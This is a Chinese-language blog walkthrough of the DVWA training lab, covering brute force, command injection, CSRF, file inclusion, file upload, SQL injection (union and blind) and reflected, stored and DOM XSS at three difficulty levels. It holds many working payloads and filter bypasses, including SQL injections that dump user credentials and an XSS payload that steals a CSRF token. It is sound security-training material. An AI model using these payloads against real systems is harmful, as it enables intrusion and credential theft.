DVWA靶场练习(适合新手的详细步骤)

暴力破解:
low

1.尝试输入admin,admin,错误

2.使用burpsuit抓包,Proxy-Repeater-Intruder,在username和password的参数哪儿添加变量

3.爆破用户名和密码

medium

源码分析:Medium等级中分别对用户名和密码进行了查询,提高了安全性,主要区别是在登录失败后会执行sleep(2)函数,即程序休眠两秒,这两秒内不能再登录,这延长了我们爆破的时间但并不影响结果

1.用burp抓包。一样的步骤

2.得到结果

high

相同的操作

源码分析:high等级相较于Medium的变化是sleep(rand(0,3))函数随机休眠0到3秒,重点是增加了token值,这增加了难度,接下来看看我们怎么在有token验证的情况下获得正确的用户名和密码

命令注入

low

1.根据提示输入IP地址

2.查看源码:发现shell_exec,可以执行系统命令,这里执行的是ping命令。

3.根据所学的命令执行拼接语句,在后面拼接一条系统命令

这里我们要说一下命令连接符
& :前面一个命令无论是否执行,后面的命令都能执行,两个命令都执行
&&:前面一个命令执行成功后,才能执行后面一个命令,两个命令都执行
|:前面一个命令无论是否执行,后面的命令都能执行且只执行后面一个
||:前面一个命令不能正常执行后,才能执行后面一个命令

medium

1.按要求提交

2.查看源码:发现过滤了‘&&’和';'

3.使用 | 拼接

high

1.按要求提交

2.查看源码:发现把这些字符都过滤了,但是‘| ’过滤不完整

3.使用 |拼接

CSRF

low

1.按要求修改后,数据出现在了url地址栏

2.打开新的网页,输入url,但是密码改了,访问后,发现提示密码被修改了

3.测试一下,密码确实被修改成了123456

medium

1.按要求修改密码,发现数据依然出现在了url地址栏

2.打开新的网页,输入url,但是密码改了,看行得通吗

3.报错了,查看源代码,发现输出这串字符的原因是,密码的修改不是来自于DVWA网站本身发起的

4.通过抓包分析,第一次修改密码时,确实有referer字段,证明是从DVWA网站发起的

5.我们复制URL后,修改密码再次访问,可以看到是没有referer字段的

6.添加referer字段

7.这时,我们重发包,看一下

8.验证密码是否被修改

high

1.先修改一个密码,发现url地址栏里出现了token值

2.打开burpsuit抓包,发送到重发器,然后关掉代理,去反射型XSS漏洞哪儿,插入恶意代码,获取token值

3.相较于medium 增加了token 用户每次访问改密页面时,服务器都会返回一个随机的token,当浏览器向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求

所以需要利用 xss漏洞获取token

<iframe src='../csrf/' οnlοad="alert(frames[0].document.getElementsByName('user_token')[0].value)">
在反射型XSS中输入这个代码,弹窗会显示出此时的token值

将token值复制下来:b4e31e136cba0cc86afdd23e022e5566(不能点击确认,不然token就会再次更新)

4.打开burosuit抓包

5.验证,确实密码已经更改过了

文件包含

首先在网站根目录下准备一个1.txt文件===> xionglang.online

low

1.点击不同文件,page后面的传参都会跟着变化

2.任意文件包含,可以访问到网站根目录下的1.txt文件

medium

1.同样的操作去访问1.txt,但是却没有显示

2.查看源码:发现有了过滤,采用双写绕过

3.

high

1.相同操作去访问根目录下的1.txt文件,结果报错

2.查看源码:使用fnmatch()函数对page参数进行过滤,要求page必须以“file”开头,服务器才会包含相应的文件。

3.使用file协议访问跟目录下的1.txt文件

文件上传

在根目录下准备一个一句话木马,123.php===> <?php phpinfo();?>

low

1.上传文件

2.按照提示给出的路径访问

3.结果

medium

1.按照要求上传,发现格式有要求,必须是图片格式

2.修改123.php文件名为456.png,上传时通过burp抓取上传请求包,将456.png修改为456.php

3.发送给重发器,发送成功后,按照提示访问,访问成功

high

1.首先在桌面上准备一张图片

2.制作图片马

3.上传该图片马

4.在本关的路径下访问会有过滤,我们选择在,文件包含的low关卡访问,上传成功

SQL注入

low

1.判断闭合方式—1‘报错,1‘-- qwe显示正常===>'闭合

2.判断显示位

1‘ order by 3-- qwe ===>报错

1' order by 2-- qwe ===>显示正常

说明有两个回显位

3.查看版本和数据库:1' union select version(),database()-- qwe

4.查询表名:0' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'-- qwe

5.查询字段名:0' union select 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'-- qwe

6.查询数据:0' union select group_concat(user),group_concat(password) from users-- qwe

成功获取到用户名和密码

medium

1.判断注入方式,选择不同的数字,显示不同的id,但是url地址栏中,没有任何变化,应该是POST型

2.无论怎么修改url地址栏都不会报错,没有反馈,所以抓包,在重发包里,改变id值,页面会有变化

3.判断闭合方式id=3 and 1=1和 id=3 and 1=2反应的结果不同,判断为数字型注入

4.查询表名:id=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

5.查询列名:id=0 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=27757365727327

语法错误,猜测是否单引号的问题呢,由于MySQL默认支持16进制编解码,故对users进行16进制编码

id=0 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273

6.查询数据:id=0 union select group_concat(user),group_concat(password) from users limit 0,4

high

1.判断闭合方式,1‘报错,1’ -- qwe显示正常===>'闭合

2.判断回显位1' order by 2 显示正常,1‘ order by 3 报错===>有两个回显位

3.判断数据库名和mysql版本 0' union select database(),version()-- qwe

4.查询表名: 0' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'-- qwe

4.查询字段名: 0' union select 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'-- qwe

5.查询数据:0' union select group_concat(user),group_concat(password) from users-- qwe

SQL注入(盲注)

low

1.判断闭合方式1‘ 报错,1’-- qwe显示正常===>‘闭合

2.判断mysql版本是否为5:1' and substr(version(),1,1)=5-- qwe

3.查看数据库长度:1' and length(database())=4-- qwe===>存在说明库名长度等于四

4.查看数据库首字母:1' and substr(database(),1,1)='d'-- qwe===>库名首字母为d

1' and substr(database(),2,1)='v'-- qwe

1' and substr(database(),1,4)='dvwa'-- qwe

得到数据库名为dvwa

5.猜测表名:1' and length((select group_concat(table_name) from information_schema.tables where table_schema='dvwa'))=15-- qwe===>表名总长度为15

1' and substr((select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),1,1)='g'-- qwe

1' and substr((select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),2,1)='u'-- qwe

1' and substr((select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),1,9)='guestbook'-- qwe

1' and substr((select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),11,5)='users'-- qwe

以上步骤可以得出两张表guestbook,users

6.猜测字段名(同表名)

7.猜测数据(同表名)

medium

1.只能选择,url地址栏也无法改变,选择抓包

2.判断注入方式:id=2 and 1=1存在,id=2 and 1=2不存在===>数字型注入

3.判断数据库名

长度id=2 and length(database())=4

库名:id=2 and substr(database(),1,1)='d',怎么不行呢,我们看一下源码,发现过滤了单引号

我们使用16进制绕过,d的16进制是0x64

后面的猜测方法就和low级别的一样

high

步骤类似

1.注入方式:1' 报错,1'-- qwe 存在===>‘闭合

2.数据库名:

长度:1' and length(database())=4-- qwe

.....

和low 一样的操作

反射型XSS

low

1.构造一个script标签<script>alert("xss")</script>

2.提交后有弹窗显示

medium

1.按照第一步的方法构造标签,发现不行了,但是下面的输出没有script标签,没有原样输出,所以我们怀疑,源代码中过滤了script标签。

2.采用双写绕过:<s<script>cript>alert("xss")</script>

弹窗成功

high

1.按照第二关的双写绕过方式,依然不行,查看源码,发现将<script>标签全部过滤了

2.采用事件型的反射XSS<img src=1 οnerrοr=alert("xss")>===>成功弹窗

存储型XSS

low

medium

1.采用双写的办法绕过且用户名才有用,message里无法弹窗

2.这样也可以弹窗

high

将script都过滤掉了,用事件型触发

DOM型XSS

low

选择不同语言,default=后面会有不同的值,在后面构造一个XSS代码,即可弹窗

medium

采用双写,大小写的方式绕过不行===>采用事件型XSS也不行===打开控制台看一看,发现输入值被闭合在<script>标签里的。

在default后面添加</select><img src=1 οnerrοr=alert("xss")> 即可弹窗成功

high

查看源码,是switch语句,默认是English,当我们在后面加一个#就可以链接过去了,#是一个锚点

  • 32
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值